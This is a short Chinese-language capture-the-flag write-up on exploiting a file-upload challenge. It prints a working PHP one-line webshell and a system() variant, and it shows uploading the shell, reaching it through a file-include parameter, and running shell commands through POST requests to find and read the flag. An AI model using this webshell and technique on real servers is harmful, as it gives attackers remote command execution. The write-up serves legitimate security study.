這是一道上傳一句話木馬的裸題,解題思路也很明確,現在此詳細記錄,以供日后復習知識點用
一句話木馬:當知道了URL,就可以利用本地一張網頁進行連接得到Webshell
php 一句話木馬
<?php @eval($_POST["x"]);?>
當這條語句被服務端執行了,我們同時利用 POST 請求上傳變量 x 的值,例如 x=echo 'Hello'
php 解析器執行的實質上是 @eval("echo 'Hello'"),即在前端輸出一個字符串
更常見的利用手法是利用 @eval(system($_POST["x"])) 直接控制服務端的 shell
同時提交 x=ls ,便可以通過 shell 輸出當前網頁目錄下的其他文件,注入其他命令同理
實操
題目鏈接
用瀏覽器連接靶機,有一個可以提交文件的頁面,隨便 sumbit 一個文本文件
提示:文件已儲存在: uploads/xxx.jpg
可以在 ?file=uploads/xxx.jpg 查看,有相應的內容回顯
這是一個最普通的 php 腳本,保存改后綴為 .php 嘗試上傳
<?php echo 'Hello World!'; ?>
在訪問時回顯 Hello Worl! 說明自定義的 php 腳本被成功執行
把腳本修改成一句話木馬
<?php @eval(system($_POST["x"]));?>
成功上傳后,訪問相應的 ?file=uploads/xxx.jpg,頁面空白,說明 php 命令被成功執行
將 url 復制到 Postman ,編輯 Body(Post 的表單)為 x:ls
成功拿到 shell,接下來找到 flag 所在的目錄就好了
你甚至可以提交 x:find -name / 'flag' 暴力找,最后提交 cat /flag 拿到 flag